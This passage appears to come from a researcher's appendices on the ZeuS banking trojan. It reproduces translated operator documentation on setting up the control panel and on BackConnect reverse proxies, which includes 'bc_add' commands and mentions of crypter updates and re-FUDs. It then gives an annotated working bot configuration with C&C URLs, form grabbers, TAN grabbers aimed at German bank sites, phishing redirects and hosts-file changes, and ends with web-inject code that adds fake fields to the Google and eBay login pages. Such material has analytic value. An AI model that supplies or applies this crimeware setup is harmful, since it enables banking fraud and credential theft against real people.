= Off Also need to add Zend Optimizer (acceleration of the script, and run the protected scripts). We recommend version 3.3. We do not recommend to use PHP as HTTP-CGI. Download PHP: http://www.php.net/downloads.php Download Zend Optimizer: http://www.zend.com/en/products/guard/downloads ---------------------- - 2.3. MySQL-server. -- ---------------------- MySQL is required to store all data on botnet. The recommended version is not lower than 5.1.30, as well worth considering that when the control panel in the older versions have some problem. All table control panel, go to a MyISAM, it is important to optimize speed of work with this format, on the basis of the available server resources. We recommend the following changes to the MySQL-server setup (my or my.ini): max_connections = 2000 # Or higher

Download MySQL: http://dev.mysql.com/downloads/ --------------------------- - 2.4. Control Panel. -- --------------------------- 2.4.1. Setting. ***************** Appointment of files and folders: / install - the installer. / system - the system files. / system / fsarc.php - a script to call an external archiver (section 2.4.3). / system / config.php - config file. / theme - the theme file (design), without Zend can freely change. cp.php - control panel. gate.php - gate for bots. index.php - empty file to prevent listing of files. The control panel is usually located in your folder in the distribution server [php]. All contents of this folder, you need to upload to the server in any directory accessible by HTTP. If you download it through FTP, all files you download in binary mode. To nix-systems exhibit the right: . - 777 / system - 777 / tmp - 777 For Windows-systems: \system - the right to full write, read only for users of the under which the access via HTTP. For IIS this is usually IUSR_ *. \tmp - as well as for the \ system. Once all files are downloaded, you need a web browser to run the installer on the URL http://server/zeus_folder/install/index.php. Follow the instructions appeared, in the case of mistakes (you will be notified in detail) in the installation, check that all fields are correct, and correct installation of the rights to the folder. After installation, we recommend that you delete the directory install, and rename files cp.php (entrance to the panel) and gate.php (gate for bots) in any files you want (don't change the extension). Now you can safely enter into the control panel by typing in the browser URL renamed File cp.php. 2.4.2. Update. ****************** If you have a new copy of the control panel, and want to update an older version, the should do the following: 1) Copy the files a new panel in place of old ones. 2) Rename files cp.php and gate.php under their real names of your choice during installation the old control panel. 3) In any case, the right to re-set the directory in accordance with paragraph 2.4. 4) with a browser to run the installer for URL http://server/direktoriya/install/index.php, and appeared to follow the instructions. The process of the installer may take a fairly large period of time, this is due to the fact that some tables may be re-records. 5) You can use the new control panel. 2.4.3. File / system / fsarc.php. ****************************** This file contains a function to call an external archiver. At this time, archive used only in "Reports:: Search in files" (reports_files), and is called to load Files and folders in a single archive. By default, set to Zip archive, and is universal for Windows and nix, so all you have to

do is to install the system this archive, and to the right in its execution. You can also edit this file to work with any archiver. Download Zip: http://www.info-zip.org/Zip.html. ====================== = 3. Settings. = ====================== =========================== = 4. Working with BackConnect = =========================== Working with BackConnect regarded as an example. IP of BackConnect-server: 192.168.100.1 Port for the bot: 4500 Port for the client application: 1080 1) Run the server application (zsbcs.exe or zsbcs64.exe) on the server has an IP in Internet application specifies the port, which is expected to connect from the bot, and the port to which will connect the client application. For example zsbcs.exe listen-cp: 1080-bp: 4500, where 1080 - the client port 4500 - port to the bot. 2) Required command (bc_add service server_host server_port) will be sended to bot, where the service -- port number or name * service, which needs to connect to the Bot. * currently only supported in the name of socks, which allows you to connect to the built-in Socks-bot server. server_host - a server that zapusheno server application. It can be used IPv4, IPv6, or domain. server_port - a port that is specified in the option cp server application. In this case, 4500. Example: bc_add socks 192.168.100.1 4500 - as a result you get the socks, bc_add 3389 192.168.100.1 4500 - as a result you get rdp. 3) Now you need to wait for bot to connect to the server, in this period, any attempt to client applications to connect will be ignored (will disconnect the client). When bot connects, in server's console will be output line: "Accepted new conection from bot ...". 4) After connecting the bot, you can work with their client. Ie you just connect to the server to the client port (in this case 1080). For example, if you gave command "socks", a port on the client you will be expected to Socks-server, if port 3389, then you connect to 192.168.100:1080 as a normal RDP. 5) After that, when you do not need BackConnect of the bot for a certain service, you must pay click bc_del service server_host server_port, where all the parameters must be identical parameters bc_add, which must be removed. You can also use the spec. characters '*' And '?'. For example: bc_del * * * - deletes all BackConnects from this bot. bc_del * 192.168 .* * remove all backconnects, connect to the server with IP 192.168 .*. bc_del 3389 192.168.100.1 4500 - specifically removes one backconnect. NOTES: 1) You can specify any number of backconnects (ie bc_add), but they should not be shared combination of IP + Port. But if there is such a combination, will be launched first added. 2) For each backconnect, you must run a separate server application. 3) if the connection (drop server drop bot, etc.), bot will repeat the connection to the server indefinitely (even after rebooting the PC), until backconnect will not be removed

(ie bc_del). 4) As a service to bc_add, you can use any open port at the address 127.0.0.1. 5) The server application supports IPv6, but in principle at the present time, this support is not particularly relevant. 6) You can launch the server application under wine. Writing the same elf application is currently not planned. 7) It is recommended to use the option bp popular application server ports (80, 8080, 443, etc.), because other ports may be blocked by the provider of bot. 8) should not be allowed to connect to different bots on the same server port at the same time. 9) The method of such a connection might be useful for bots, which are outside the NAT, because sometimes Windows firewall or ISP may be blocked from the Internet connection. NOTE: This feature is not available in all builds Bot. ====================== = 5. History. = ====================== Conditional tags: [*] - Change. [-] - Fix. [+] - New feature. [Version 1.2.0.0, 20.12.2008] Overall: [*] Documentation in txt format. chm not used anymore. [+] Now the bot is able to receive commands not only with the sending status, but when sending files / logs. [+] Local data requests to the server and the configuration file is encrypted with RC4 (you can specify your key). [*] Fully updated protocol bot <-> server. Perhaps less load on the server. Boat: [-] Fixed the bug that blocking bots on limited account. [*] Written a new PE-crypter. Now PE-file is very accurate and the most simulates the results of the MS Linker 9.0. [*] Updated build process in bilder. [*] Optimized compression of the configuration file. [*] The new format is a binary configuration file. [*] Rewritten the process of assembling the binary config file. [*] Socks and LC are now working on a port. Control Panel: [*] The status of the control panel is BETA. [*] Changed all MySQL tables. [*] Control Panel moving on UTF-8 charset (may be temporary problems with displaying characters). [*] Updated geobase. [Version 1.2.1.0, 30.12.2008] Boat: [*] BOFA Answers are now sent as BLT_GRABBED_HTTP (was BLT_HTTPS_REQUEST). [-] Small error when sending reports. [-] The size of the report could not exceed ~ 550 characters. [-] A low timeout for sending POST-requests resulting in a blocked sending long (more than ~ 1 Mb) Report on slow compounds (not stable), as the theoretical implications - bot altogether stopped sending logs. Overall: [+] In the case record and record type BLT_HTTP_REQUEST BLT_HTTPS_REQUEST field SBCID_PATH_SOURCE (in the table will path_source) added path URL.

Control Panel: [*] Updated redir.php. [Version 1.2.2.0, 11.03.2009] Boat: [-] Fixed bug in HTTP-injections exists for all versions of bot. When use in the asynchronous mode wininet.dll, was lost time synchronize flows generated wininet.dll, with the result that, under certain conditions been an exception. [+] By an HTTP-injection now also change the files in the local cache. The absence of this refinement can not always activate HTTP-injection. [+] Reduce the size of PE-file. [Version 1.2.3.0, 28.03.2009] Boat: [-] Minor bug in crypter, thanks to Avira. Overall: [*] Changed protocol of bot's commands. Control Panel: [*] Completely rewritten Control Panel. [*] Design rewritten to XHTML 1.0 Strict (for IE does not work). [*] Bot is now again able to receive commands only when sending a report on the online status (too high load). [*] Updated geobase. [Version 1.2.4.0, 02.04.2009] Boat: [+] When using HTTP, the header User-Agent is now read by Internet Explorer, rather than is a constant as before. Theoretically, because of the constant User-Agent'a, queries providers may be blocked or fall under suspicion. Control Panel: [-] Fixed a bug displaying records containing characters 0-31 and 127-159. ============= = 6. F.A.Q. = ============= Q: What's the version numbers mean? A: a.b.c.d a - a complete change in your bot. b - the major changes that cause complete or partial incompatibility with previous versions. c - correct errors, refine, add features. d - the number of reFUDs for the current version Q: How does the generated Bot ID? A: Bot ID consists of two parts:% name% _% number%, where the name - the name of the computer (the result of GetComputerName), a number - a certain number that is generated on the basis of some unique operating system data. Q: Why is the traffic is encrypted using symmetric encryption (RC4), but not asymmetric (RSA)? A: Because the use of complex algorithms does not make sense, you need to encrypt only to hide traffic. Plus RSA only in terms of not knowing the key is in the Control Panel will not ability to emulate her answers. And what meaning is to defend this (globally view)? Q: I damaged tables / files panel, what should I do? A: Play the instructions specified in paragraph 2.5. =========== 7. Myths = =========== M: ZeuS uses a DLL.

A: False. There is only one executable PE file (exe). Dll, sys, etc. not used. This myth has gone due to the fact that in some version for bot storage configuration used for files with such extensions. M: ZeuS uses COM (BHO) for the interception of Internet Explorer. A: False. Used WinAPI interception of wininet.dll.

Appendix B: config.txt This is the self-documenting config.txt file that I created. <?php ;Build time: 14:15:23 10.04.2009 GMT ;Version: 1.2.4.2 ;This configuration file has been edited to be self-documenting. Each entry should have ;an explanation on what it does and how it can be configured. Please note that the ;documentation is incomplete in some areas and may be incorrect in other places. Proceed ;at your own risk. ; ;The primary configuration file is split into 2 main pieces: StaticConfig and DynamicConfig ;Your configuration may take advantage of Web Injections via the file_webinjects option in ;the DynamicConfig section. This is a separate file and it's format is detailed in this ;file where we discuss the file_webinjects option. ; ;Both the StaticConfig and DynamicConfig sections begin with the word 'entry' and end with ;the word 'end'. ; ;You may need to use a double-quote if a parameter or option has embedded whitespace such ;as <space> or <tab>. ; ;If you attempt to build a configuration and it complains about the settings for an option, ;attempt it with and without quotes. My experience has shown that the builder will ;sometimes complain if something is in double-quotes, but it will function fine without ;them. ; ;In general, my comments will follow the actual parameter. That way you can see the ;parameter listed and then move on to the explanation. ; ;Parameters can be commented out using a semicolon. Arbitrary comments can also be ;included after a semicolon. entry "StaticConfig" ;This is the beginning of the StaticConfig section. This portion of the configuration gets ;embedded in the binary bot that is built. botnet "test" ;The botnet parameter allows you to assign this configuration to a specific botnet. This ;is important as you can use any single ZeuS infrastructure (Apache, MySQL, PHP) to ;manage a large number of different botnets. I think this would be important if you were ;providing ZeuS under the CaaS (Crimeware as a Service) model. That way you could ;partition access based different configurations. timer_config 2 1 ;The timer_config setting requires 2 options. Both of these options are integers which ;are measured in minutes. ; ;The first number represents the number of minutes to wait before checking for an ;updated configuration file *if* the bot last attempt to obtain/install a configuration ;file was successful. ; ;The second number represents the number of minutes to wait before attempting to obtain ;a configuration file if the last attempt was unsuccessful. ; ;In this example, if the bot is able to obtain a configuration file and update itself, ;it will wait 60 minutes before attempting another update. If the last update is ;unsuccessful, it will attempt to update every minute until it is successful. ; ;According to a Helpfile in a prior release of ZeuS, the recommended setting is: ;timer_config 60 5 timer_logs 2 1 ;The timer_logs setting requires 2 options. Both of these options are integers which ;are measured in minutes.

; ;The first number represents the number of minutes to wait before sending accumulated ;log files if the last upload attempt was successful. ; ;The second number represents the number of minutes to wait before sending accumulated ;log files if the last upload attempt was unsuccessful. ; ;In this example, if the bot is able to upload it's accumulated log files, it will ;wait 1 minute before attempting another upload. If the last upload is ;unsuccessful, it will attempt to upload every minute until it is successful. ; ;According to a Helpfile in a prior release of ZeuS, the recommended setting is: ;timer_logs 2 2 timer_stats 2 1 ;The timer_stats setting requires 2 options. Both of these options are integers which ;are measured in minutes. The stats that are uploaded include things like online ;status, open ports, services, SOCKS status, NAT status, screenshots, etc.) ; ;The first number represents the number of minutes to wait before sending stats if the ;last upload attempt was successful. ; ;The second number represents the number of minutes to wait before sending stats if the ;last upload attempt was unsuccessful. ; ;In this example, if the bot is able to upload stats, it will wait 20 minutes before ;attempting another update. If the last stat update is unsuccessful, it will attempt ;to upload every minute until it is successful. ; ;According to a Helpfile in a prior release of ZeuS, the recommended setting is: ;timer_logs 20 10 url_config "http://192.168.1.100/web/cfg_test.bin" ;The url_config parameter holds the URL that points to the main configuration file. ;Note that this does *not* have to be same server as your C&C infrastructure. ;Ideally, it would be different but that may not always be the case. Or, if you're ;hosting on a bulletproof server, it might be easier to have everything hosted on the ;same box. ; ;According to the documentation, if this URL is not available at the time of infection, ;the infection will not be successful. This makes sense because the file that the URL ;points to include the DynamicConfig portion of this file. Without it, the bot does ;not know what to monitor. url_compip "http://myip.ru" 1024 ;The url_compip parameter is used to determine if the victim PC is NATed. ; ;The first parameter is a URL for a site that will report back the IP address of your ;connection. ; ;The second parameter is the number of bytes that the bot must read to insure that the ;IP address has been returned. encryption_key "snickers" ;The encryption_key parameter is the key used to encrypt communications. This parameter ;must match the encryption key parameter that was provided during the initial ;installation of the ZeuS C&C infrastructure. ;blacklist_languages 1049 ;The blacklist_languages parameter will prevent any data in the blacklisted language ;from being logged. ; ;The first option is the decimal value of the language to be blacklisted. Values ;can be found here: ;http://msdn.microsoft.com/en-us/goglobal/cc563921.aspx ; ;Multiple options can be included in the blacklist_languages parameter. They need to

;be separated by a space. end ;This is the end of the StaticConfig section. entry "DynamicConfig" ;This is the beginning of the DynamicConfig section. This portion of the configuration gets ;embedded in the binary configuration file that is constructed by the Builder application. url_loader "http://192.168.1.100/web/ldr_test.exe" ;The url_loader parameter contains a URL that points to the current version of the bot ;binary. This is important if you want to update your version of the bot on the client PC. url_server "http://192.168.1.100/web/gate.php" ;The url_server parameter contains a URL that points to the location of the PHP script ;that accepts statistics, files, logs, etc. from client PCs. file_webinjects webinjects.txt ;The file_webinjects parameter references a local file that contains a list of web ;injections. The file can be named anything as long as that name is referenced here. The ;sample file is named webinjects.txt. ; ;The options for web injections are vast. Each entry has up to 8 parameters: ; - 1st parameter: The set_url tag which is a mandatory entry. ; - 2nd parameter: The target URL for the web injection. Can be a mask. ; - 3rd parameter: Flags that specify the conditions of the injection: ; P - Launch web injection when client POSTs to the target URL. ; G - Launch web injection when client GETs the target URL. ; L - Modifies the destination web injections, obtains the requested data and ; immediately saves it to the log file. ; F - Used in conjunction with the L flag. Allows you to save the data to a separate ; file instead of the log file. ; H - Used in conjunction with the L flag. Stores the data in it's original format ; without extracting the tags. ; D - Launch the web injection every 24 hours. ; - 4th parameter: Contains a mask of POST data. If this mask matches the POSTed URL data, ; then the web injection is *not* loaded. ; - 5th parameter: Contains a mask of POST data. If this mask matches the POSTed URL data, ; then the web injection is loaded. ; - 6th parameter: URL blocking. (Google translation: if your web injection be loaded ??? once ; the client computer, it should be masked URL, in case of which the web injections will ; no longer be used on the computer. If you do not need to leave the field blank.) ; - 7th parameter: Context mask. A mask of page content which should work for the web ; injection. ; - 8th parameter: Name. A convenient name for this web injection. ; ;These parameters, if used, are all provided on a single line. The next line begins ;the URL injection information. It lasts until the end of the file or until the ;next set_url entry is found. Each web injection consists of 3 elements: ; - Without the L flag: ; - data_before: This contains the data mask in the target URL that denotes where your ; new data will be written/injected. ; - data_after: This contains the data mask in the target URL that denotes data to be ; recorded before the web injection. ; - data_inject: This is the actual injected code which will be inserted in-between ; the data_before and data_after tags. ; ; - With the L flag: ; - data_before: This contains the data mask on the target URL page that denotes where to ; begin grabbing data from the browser screen. ; - data_after: This contains mask data on the target URL page that denotes where to ; stop grabbing data from the browser screen. ; - data_inject: Can serve as a keyword for the data that makes it easier to find the ; data in the logs. ; ;The name elements (8th parameter) must start in the first byte of a new line. ;Immediately after the name there must be a new line. On this new line the web injection

;code begins and continues until the data_end flag is used. The data_end flag must also ;start in the first byte of a new line. Between these elements any characters can be used ;to construct the web injection. ; ;Here are some samples: ;Changes the title of any site to the phrase "HTTP: Web-Inject" ;set_url http://* GP ; ;data_before ;<title> ;data_end ; ;data_inject ;HTTP: Web-Inject ;data_end ; ;data_after ;</title> ;data_end ; ;Change the title of any site to the phrase "HTTPS: Web-Inject" and add the text ;"BODY: Web-Inject" immediately after the tag <body>. As you can see in this sample, ;a set_url entry can have multiple triplets of before/inject/after. ; ;set_url https://* GP ; ;data_before ;<title> ;data_end ; ;data_inject ;HTTPS: Web-Inject ;data_end ; ;data_after ;</title> ;data_end ; ;data_before ;<body> ;data_end ; ;data_inject ;<hr> BODY: Web-Inject <hr> ;data_end ; ;data_after ;data_end ; ;This sample obtains the title of the page. Notice the use of the L flag. ;set_url http://*yahoo.com* LGP ; ;data_before ;<title> ;data_end ; ;data_inject ;Yahoo Title: Web-Inject ;data_end ; ;data_after ;</title> ;data_end entry "AdvancedConfigs" ;This is the beginning of the AdvancedConfigs section which is a major subdivision of the ;DymanicConfig section. This section contains backup URLs that contain the same

;configuration file provided in the url_config parameter found in the StaticConfig section. ;The file does not need to have the same name as the file in the url_config, but they ;should be built from the same configuration settings. These files do not need to be ;immediately available since the bot will only check for them if the primary configuration ;file is unavailable. ; ;The format of this section is that each line should contain a complete URL that points ;to a valid backup configuration file. ;"http://advdomain/cfg1.bin" ;As you can see in this sample, this entry is disabled because it is preceded with a ;semicolon. end ;This is the end of the AdvancedConfig section. entry "WebFilters" ;This is the beginning of the WebFilters section which is a major subdivision of the ;DymanicConfig section. The WebFilters section has 2 purposes: ; 1. Enumerates the list of URLs which must be stored or deleted from the log for all ; POST or GET requests. If the first character of the URL is !, then no log entries ; will be recorded when that URL is matched. ; 2. Specifies the URLs which will be captured via screenshots when the left mouse button ; is clicked. The first character of the URL must be @. This is used to defeat ; virtual keyboards. ; ;URLs may include the * character to allow for pattern matching. ; ;The format of this section is that each line should contain a URL with the appropriate ;flags: !, *, or @. ;!*.microsoft.com/* ;!http://*myspace.com* ;https://www.gruposantander.es/* ;!http://*odnoklassniki.ru/* ;!http://vkontakte.ru/* ;@*/login.osmp.ru/* ;@*/atl.osmp.ru/* @*google.com/* !*.digg.com/* ;Here is an explanation of the samples above. Note that the first 7 examples are commented ;out. I added the remaining entries as live samples that you can work with. ; - Since the first entry begins with !, no information will be captured. ; - The second entry also begins with ! so no information will be gathered. ; - The third entry (gruposantander) does not include any flags so data from this ; site will be logged. ; - The fourth entry (odnoklassniki) begins with ! so no information will be gathered. ; - The fifth entry (vkontakte) begins with ! so no information will be gathered. ; - The sixth entry (login.osmp.ru) begins with @ so a screenshot will be captured ; each time the URL matches and the left mouse button is clicked. ; - The seventh entry (atl.osmp.ru) begins with @ so a screenshot will be captured ; each time the URL matches and the left mouse button is clicked. ; - The eighth entry (google.com) begins with @ so a screenshot will be captured each time ; the URL matches and the left mouse button is clicked. ; - The ninth entry (digg.com) begins with ! so no information regarding this site should be ; logged. end ;This is the end of the WebFilters section. entry "WebDataFilters" ;This is the beginning of the WebDataFilters section which is a major subdivision of the ;DynamicConfig section. This section was not detailed in the Helpfile I referenced but ;based on some assumptions, I believe this section is used to grab specific data from ;targeted URLs, such as login information. ; ;The format of this section is that each line should contain a URL followed by a ;semicolon delimited list of field tags that can be found on the targeted URL.

; ;"http://mail.rambler.ru/*" "passw;login" ;In this example, the rambler.ru URL is targeted. When the site is matched in the ;browser, the field tags labeled 'passw' and 'login' are captured in the log file. ; end ;This is the end of the WebDataFilters section. entry "WebFakes" ;This is the beginning of the WebFakes section which is a major subdivision of the ;DynamicConfig section. WebFakes are used to redirect one URL to another URL. Each line ;consists of 7 parameters: ; - 1st parameter: the original URL ; - 2nd parameter: the new, fake URL that you want to the client to load ; - 3rd parameter: the flags that specify the basic conditions for loading the fake URL. ; Currently, there are 3 flags: ; - P loads the new URL when the client POSTs to the original URL ; - G loads the new URL when the client GETs the original URL ; - S (Google translation: to load a new URL to the conservation track.) ; - 4th parameter: Contains a mask of POST data. If this mask matches the POSTed URL data, ; then the new URL is *not* loaded. ; - 5th parameter: Contains a mask of POST data. If this mask matches the POSTed URL data, ; then the new URL is loaded. ; - 6th parameter: URL blocking. (Google translation: if your URL-redirection ??? be loaded ; on the computer once the victim, there should be marked URL, in case of which the URL- ; redirection will no longer be used on a computer. If you do not need to leave the field ; blank.) Wonder if this prevents a fake site from being loaded multiple times. ; - 7th parameter: A name provided to reference this particular redirect. ; ; Algorithm for downloading a URL-redirect: ; 1. Search for URLs loaded via the client configuration file. ; 2. Process the flags. ; 3. Check for the 4th parameter and POST data that will *not* be processed. ; 4. Check for the 5th parameter and POST data that will be processed. ; 5. Download the new URL. ; http://*.myspace.com/* http://www.facebook.com GP * * ;In this live sample, client will type www.myspace.com but will be redirected to ;www.facebook.com for any POSTs or GETs. ;http://*.rambler.ru* http://yandex.ru GP * * ;In this sample, client will load http://yandex.ru for any POSTs or GETs to ;http://*.rambler.ru* ;http://mail.rambler.ru/script/auth.cgi http://mydomain/myrambler.asp P "* & mailtan=*" * ;This entry will load the new URL (http://mydomain/myrambler.asp) when the client ;POSTs to http://mail.rambler.ru/script/auth.cgi if mailtan is *not* part of the URL. ;http://mail.rambler.ru/scripts/auth.cgi http://mydomain/myrambler.asp P "* & mailtan =*" ;"* login =*" ;The new URL will be loaded on a POST request where mailtan is *not* found and login *is* ;found. ;This is the end of the WebFakes section. entry "TANGrabber" ;This is the beginning of the TANGrabber section which is a major subdivision of the ;DynamicConfig section. TANGrabbers are used to grab POSTed TAN data. TANs are ;transaction authorization numbers. Each line consists of 5 parameters: ; - 1st parameter: A mask of the target URL that might contain TAN POST data. ; - 2nd parameter: Flags that define the process of looking for a TAN. Valid flags are ; - Sxx - (Google translation: is determined by the number of missed TANov be a substitute ; for TANG. xx is a number 1 to 99, which determines this number. ; - Rxx - Specifics the name of the TAN in the POST data and determines the TANs position. ; xx is a number from 1 to 99 which specifies the position. ; - Cxx specifies the number of digits in the TAN. xx is a number from 1 to 9. ; - Gxx replaces the TAN with random numbers instead of the standard 111111. ; - 3rd parameter: Contains a mask of POST data in the transmitted URL. If this pattern is

; matched, then the TAN grabber is engaged. ; - 4th parameter: Contains a mask of POST data in the transmitted URL. If this pattern is ; matched, the TAN grabber will not run. ; - 5th parameter: Name variable. If you do not specify the R or C flags, you must specify the ; variable name in the POST data that contains the TAN. Use of a mask is supported. ; ; Algorithm for the TAN grabber: ; 1. Search for the POSTed URL in this configuration file. ; 2. Check the POST data. ; 3. Check the S flag values for a match. ; 4. Check for a match with the 5th parameter name variable. ; 5. Save the TAN. ; 6. If specified, substitute the TAN in the POST data. ; ;"https://banking.*.de/cgi/ueberweisung.cgi/*" "S3R1C6G" "*&tid=*" "*&betrag=*" ;In this sample, the TAN grabber will attempt to run if the *&tid=* data is present in the ;POST data and the *&betrag=* data is not when accessing the specified URL. If those ;conditions are met, then the TAN grabber will look for a TAN that is: ; - ??? (S3) ; - In the 1st position (R1) ; - Is 6 characters in length (C6) ; - And it will replace it with random characters (G) ; ;"https://internetbanking.gad.de/banking/*" "S3C6" "*" "*" "KktNrTanEnz" ;In this sample, the TAN grabber will attempt to run if the named variable "KktNrTanEnz" is ;present in the POST data when accessing the specified URL. If those conditions are met, ;then the TAN grabber will look for a TAN that is: ; - ??? (S3) ; - Is 6 characters in length (C6) ; ;"https://www.citibank.de/*/jba/mp#/SubmitRecap.do" "S3C6R2" "SYNC_TOKEN=*" "*" ;In this sample, the TAN grabber will attempt to run if the SYNC_TOKEN=* data is present in ;the POST data when accessing the specified URL. If those conditions are met, then the TAN ;grabber will look for a TAN that is: ; - ??? (S3) ; - In the 2nd position (R2) ; - Is 6 characters in length (C6) ; end ;This is the end of the TANGrabber section. entry "DnsMap" ;This is the beginning of the DnsMap section which is a major subdivision of the ;DynamicConfig section. DnsMap is used to make modifications to the local hosts file which ;is typically found at %system32%\drivers\etc\hosts on a Microsoft OS. Each entry has 2 ;parameters: ; - 1st parameter: IP address. ; - 2nd parameter: FQDN. If the FQDN begins with !, then the IP address is ignored and the ; FQDN is deleted from the hosts file if it is found. ; 127.0.0.1 www.bbc.co.uk ;This sample will add an entry for www.bbc.co.uk which points to the loopback address. ; 192.168.0.1 google.com ;This sample will add an entry for google.com to point to the non-routable address ;192.168.0.1 ; ;0.0.0.0 !yahoo.com ;This entry will remove any entries for yahoo.com. ; end ;This is the end of the DnsMap section. end ;This is the end of the DynamicConfig section. ?>

Appendix C: webinjects.txt set_url https://www.google.com/accounts/ServiceLogin* G data_before class='gaia le val' /> </td> </tr> <tr> <td></td> <td align="left"> </td> </tr> data_end data_inject <tr> <td align="right" nowrap="nowrap"> <span class="gaia le lbl"> Favorite Color: </span> </td> <td> <input type="text" name="FavColor" id="FavColor" size="18" /> </td> </tr> data_end data_after <tr> <td align="right" nowrap="nowrap"> <span class="gaia le lbl"> Password: data_end set_url https://signin.ebay.com/ws/eBayISAPI.dll?SignIn* G data_before <td style="font-size:x-small; font-family:Verdana"><a href="https://scgi.ebay.com/ws/eBayISAPI.dll?UserIdRecognizerShow">I forgot my user ID</a></td> </tr> data_end data_inject <tr> <td colspan="2" height="5"></td> </tr> <tr> <td nowrap width="70"><a name="FavColor" style="text-decoration:none"> Favorite Color</a></td> <td><input type="text" name="FavColor" maxlength="64" value="" tabindex="2" style="font-family:Arial" size="27"></td> </tr> <tr> <td></td> <td style="font-size:x-small; font-family:Verdana"><a href="http://www.ebay.com">I forgot my favorite color</a></td> </tr> data_end data_after

<tr> <td colspan="2" height="5"></td> </tr> <tr> <td nowrap width="70"><a name="Password" data_end